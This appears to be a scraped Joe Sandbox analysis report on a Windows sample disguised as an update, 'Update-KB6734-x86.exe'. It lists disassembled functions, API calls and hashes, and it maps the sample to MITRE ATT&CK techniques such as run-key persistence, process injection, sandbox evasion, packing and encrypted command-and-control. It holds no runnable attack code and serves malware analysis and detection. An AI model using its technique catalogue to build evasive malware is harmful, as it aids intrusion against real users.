Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: CriticalFramesInitializeNestedSectionUnwind
String ID: csm$csm$csm
API String ID: 2222982843-393685449
Opcode ID: acd91f781ee38c348a87f521f2261be69d72136644fc5ab93a629eaade7a4ad2
Instruction ID: f15770d1f245a1dc1dc769a00c4ac03cd43f694df1eb78c53a90dae53adbc7e3
Opcode Fuzzy Hash: acd91f781ee38c348a87f521f2261be69d72136644fc5ab93a629eaade7a4ad2
Instruction Fuzzy Hash: 7E719E35B00229DFCF14DF95E881AAE7BB5BF04314F96409BE810AB252C739D951CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B300, Relevance: 6.2, APIs: 4, Instructions: 187synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0042CF9D: _strlen.LIBCMT ref: 0042CFA7
Part of subcall function 0042CF9D: _strcat.LIBCMT ref: 0042CFBB

WaitForSingleObject.KERNEL32(?,000000FF,?,00000001,00000001,00000049), ref: 0040B3DB
ReleaseMutex.KERNEL32(?,00000000,?), ref: 0040B3FC
ReleaseMutex.KERNEL32(?,?,?,00000000,?), ref: 0040B479
ReleaseMutex.KERNEL32(?,00000000,00000000,?,00000000,000000FF,?,?,00000000,?), ref: 0040B50C

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: MutexRelease$ObjectSingleWait_strcat_strlen
String ID:
API String ID: 3541652364-0
Opcode ID: bbe3c3d9775a934ed54bf2637917896e3d47ae8e4b803ca53556c35cce3aae03
Instruction ID: a78adba943f63fa3003e78eeb40ee91bd2e846ea5eff56f134e5d262998a29b7
Opcode Fuzzy Hash: bbe3c3d9775a934ed54bf2637917896e3d47ae8e4b803ca53556c35cce3aae03
Instruction Fuzzy Hash: B761C071900215AFCB14EF69D981AAEB7B4FF44304F50453EE416E7392DB38AA04CBD9

Uniqueness

Uniqueness Score: -1.00%

Function 004294AE, Relevance: 6.2, APIs: 4, Instructions: 167fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000003), ref: 00429528
GetLastError.KERNEL32 ref: 00429532
ReadFile.KERNEL32(?,?,00000001,00000000,00000000), ref: 004295FB
GetLastError.KERNEL32 ref: 00429605

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 3f785307c448bedb5446c6a9bf72b6bb0fc28e600880c9af1debf9112c80b894
Instruction ID: 0c3f56f59b5ddb8de00e56d924bfdf09652d2d5f3f214e5ba9bd8ddb3cf10382
Opcode Fuzzy Hash: 3f785307c448bedb5446c6a9bf72b6bb0fc28e600880c9af1debf9112c80b894
Instruction Fuzzy Hash: DB61C6317043A59FDF218F58D884B997BE0BF11308F94449BE5658B291C378DD46CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0042BC9F, Relevance: 6.1, APIs: 4, Instructions: 145fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,00000001), ref: 0042BD87

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: f012d2ce11893e90015ea5c14048fdc879c812517038c19f2c3335cefbc8be64
Instruction ID: b69cdc61513ac084dd584beffdc22afea9c25ed320d97ba110819b699bdfb182
Opcode Fuzzy Hash: f012d2ce11893e90015ea5c14048fdc879c812517038c19f2c3335cefbc8be64
Instruction Fuzzy Hash: 7F518D31A10268CFDB32DFA9E880BEDBBB8FF45704FA1401AE9599B252D7344A01DF55

Uniqueness

Uniqueness Score: -1.00%

Function 0042C2A3, Relevance: 6.1, APIs: 4, Instructions: 113COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042C2C5

Part of subcall function 0042758B: EnterCriticalSection.KERNEL32(?,?,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 004275B3

__lock.LIBCMT ref: 0042C311
EnterCriticalSection.KERNEL32(0000008C,0042F618,00000014,0042C70F,?,00000000,00000000), ref: 0042C35B
LeaveCriticalSection.KERNEL32(0000008C), ref: 0042C368

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: CriticalSection$Enter__lock$Leave
String ID:
API String ID: 885841014-0
Opcode ID: 70bea93074c46ab98e6e1713a03a6e54f4b622bba12bc4153c6b555d4a2c06ed
Instruction ID: 190f3578051f98c2978070aa1ace5d718f57cceca4cdef8a86f22cce7d92fca2
Opcode Fuzzy Hash: 70bea93074c46ab98e6e1713a03a6e54f4b622bba12bc4153c6b555d4a2c06ed
Instruction Fuzzy Hash: A3412531B007228BDB24EB65F88566E77A0AF01334FA5872FD461962D1CB7C8542CB5C

Uniqueness

Uniqueness Score: -1.00%

Function 0042A754, Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

___initmbctable.LIBCMT ref: 0042A761
_strlen.LIBCMT ref: 0042A77A
_strlen.LIBCMT ref: 0042A7B3
_strcat.LIBCMT ref: 0042A7D0

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: _strlen$___initmbctable_strcat
String ID:
API String ID: 109824703-0
Opcode ID: 44cb392498c457a785b614b44fbaef805f722a37786de15f251c48ecf979d9cf
Instruction ID: 5385ac430a30b69aec2053d85f27ee94e75532dfac9a54d499d343a2729e6959
Opcode Fuzzy Hash: 44cb392498c457a785b614b44fbaef805f722a37786de15f251c48ecf979d9cf
Instruction Fuzzy Hash: EC1189726064309FD728BF247D4062B7BA5FB403347A4017FED8183262DB3D9855D68E

Uniqueness

Uniqueness Score: -1.00%

Function 004074A0, Relevance: 6.0, APIs: 4, Instructions: 39synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,?,00419270,00000002,?,0000000A,00000000,?,?,?,?,?,?,?), ref: 004074AC
ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074C9
ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074DD
ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074F1

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: MutexRelease$ObjectSingleWait
String ID:
API String ID: 257779224-0
Opcode ID: 7bb46ad1b88fb9a9461e7f10708a0b149a012f52996eac07301728bedeecd2fa
Instruction ID: 3b8a7f17e4ebfe061791b5d315a4e5195bc8dd0f575c6c97dd90d4b1bd1d3e46
Opcode Fuzzy Hash: 7bb46ad1b88fb9a9461e7f10708a0b149a012f52996eac07301728bedeecd2fa
Instruction Fuzzy Hash: 4BF044773045009B8274DB1AEA04867B7A6FBD53213454A3AF542D3750C535FC06CA64

Uniqueness

Uniqueness Score: -1.00%

Function 0042B02D, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 0042B049

Strings

, xrefs: 0042B097
, xrefs: 0042B070

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: 9f2c1d363d286c5108caad8f61244589310624b698a3e47248c20c3c2974706b
Instruction ID: 8a9144dc760d119363f862b2835ecdd30cff94b7cff921278a221d8c6e03feef
Opcode Fuzzy Hash: 9f2c1d363d286c5108caad8f61244589310624b698a3e47248c20c3c2974706b
Instruction Fuzzy Hash: 83416A302003786FEB168B54ED6ABFB7BE8EF06344F6444E2D585C71A2C3984A9587DC

Uniqueness

Uniqueness Score: -1.00%

Function 0042CB30, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042CBE4

Strings

$C, xrefs: 0042CB6B
$$C, xrefs: 0042CB85

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: __lock
String ID: $C$$$C
API String ID: 1351747465-3751191682
Opcode ID: 862fc287a51247e39cf5f504bac7603a473060daa4dbf435a019d953be9ea6e8
Instruction ID: b1263411a33c7abb084cf6b3ba1c38a65e28a18038912d737f562992e4ca65ea
Opcode Fuzzy Hash: 862fc287a51247e39cf5f504bac7603a473060daa4dbf435a019d953be9ea6e8
Instruction Fuzzy Hash: 1B41A031F002248BCF28DF2AF8C556D3BA1EB59310BA5806BD809EB355C73CAD418B9D

Uniqueness

Uniqueness Score: -1.00%

Function 0042A987, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

___initmbctable.LIBCMT ref: 0042A999
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\Update-KB6734-x86.exe,00000104,74784DE0,00000000,?,?,?,?,00425EB0,?,0042E598,00000060), ref: 0042A9B1

Strings

C:\Users\user\Desktop\Update-KB6734-x86.exe, xrefs: 0042A9A3, 0042A9A8

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: FileModuleName___initmbctable
String ID: C:\Users\user\Desktop\Update-KB6734-x86.exe
API String ID: 767393020-1924203019
Opcode ID: fe242c3c7747c275fabc0e21f379b715d9f809c354b0570d9209d5f4ff350ee6
Instruction ID: 44a9705287dc85e6541789c5441cd73dc39d0e17858977665928a33e7fa3aab4
Opcode Fuzzy Hash: fe242c3c7747c275fabc0e21f379b715d9f809c354b0570d9209d5f4ff350ee6
Instruction Fuzzy Hash: 26113AB2B00220ABCB11DBAABD4069B77F8EB44320F51057FFD05D3241D6B89E40C759

Uniqueness

Uniqueness Score: -1.00%

Function 00424762, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00424767

Part of subcall function 0042509E: RaiseException.KERNEL32(?,?,0042D4D3,004301F4,?,0042E4A8,?,?,?,00424841,0042D4D3,004301F4,00432030,00413E01,0042D4D3,000000FF), ref: 004250CC

Part of subcall function 004255BE: __lock.LIBCMT ref: 004255DC
Part of subcall function 004255BE: HeapFree.KERNEL32(00000000,?,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 00425623

Strings

string too long, xrefs: 0042476F
hB, xrefs: 00424795

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: ExceptionFreeH_prologHeapRaise__lock
String ID: hB$string too long
API String ID: 2277933175-4162919455
Opcode ID: 500f2fd8ebba751ca1f3013d6e9013b7e826199f8acec9835136d86677b485bb
Instruction ID: a0063198a6ad5418a60f27aa6fdeb6e5ae7cc0c3ac2dcd9628e5fcf86c67384a
Opcode Fuzzy Hash: 500f2fd8ebba751ca1f3013d6e9013b7e826199f8acec9835136d86677b485bb
Instruction Fuzzy Hash: 3EF08271B00138EAC700FBE5E90979D7774AF04319FE4416FE00165195CBFD5545CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0042884B, Relevance: 5.1, APIs: 4, Instructions: 57memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapReAlloc.KERNEL32(00000000,?,00000000,00428E3C,00000000,?,00000000), ref: 00428872
HeapAlloc.KERNEL32(00000008,000041C4,00000000,00000000,00428E3C,00000000,?,00000000), ref: 004288AB
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 004288C9
HeapFree.KERNEL32(00000000,?), ref: 004288E0

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: 4826cc8e5656ae35a018f652000ba19a5e3c76ade9028320e3ddbe3c001d3ea1
Instruction ID: 72779762a505b3105af33e06486f7e26f074df3cc48a41ce57bbcb179b6b58b0
Opcode Fuzzy Hash: 4826cc8e5656ae35a018f652000ba19a5e3c76ade9028320e3ddbe3c001d3ea1
Instruction Fuzzy Hash: 11116D303002119FD735AF19FC46926BBF1FB91366790563EF152C62B0C771A952CB08

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report Update-KB6734-x86.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

SMTP Packets

Code Manipulations

Statistics

CPU Usage

Function 00423260, Relevance: 56.0, APIs: 37, Instructions: 460
memoryCOMMON

Function 0041F660, Relevance: 33.4, APIs: 3, Strings: 16, Instructions: 125
libraryloaderCOMMON

Function 0041F830, Relevance: 19.6, APIs: 13, Instructions: 59
memorysleepCOMMON

Function 00425D91, Relevance: 12.1, APIs: 8, Instructions: 134
COMMON

Function 00420570, Relevance: 212.3, APIs: 14, Strings: 107, Instructions: 584
COMMON

Function 0041FD50, Relevance: 105.4, APIs: 9, Strings: 51, Instructions: 368
memoryregistryCOMMON

Function 00420AC8, Relevance: 105.3, APIs: 14, Strings: 46, Instructions: 299
COMMON

Function 004210D0, Relevance: 91.3, APIs: 7, Strings: 45, Instructions: 276
COMMON

Function 00421550, Relevance: 84.3, APIs: 9, Strings: 39, Instructions: 293
memoryregistryCOMMON

Function 0041F8E0, Relevance: 72.0, APIs: 9, Strings: 32, Instructions: 291
COMMON

Function 00415060, Relevance: 59.8, APIs: 10, Strings: 24, Instructions: 301
COMMON

Function 00421A20, Relevance: 49.2, APIs: 9, Strings: 19, Instructions: 219
memoryregistryCOMMON

Function 0041FAD9, Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 142
memoryregistryCOMMON

Function 0041F020, Relevance: 16.6, APIs: 11, Instructions: 82
serviceCOMMON

Function 0041EFA0, Relevance: 10.5, APIs: 7, Instructions: 41
serviceCOMMON

Function 0041C660, Relevance: 370.5, APIs: 33, Strings: 178, Instructions: 1203
libraryloaderCOMMONCrypto

Function 00408BC0, Relevance: 300.7, APIs: 1, Strings: 170, Instructions: 1478
COMMONCrypto

Function 0041D159, Relevance: 233.4, APIs: 17, Strings: 116, Instructions: 622
libraryloaderCOMMON

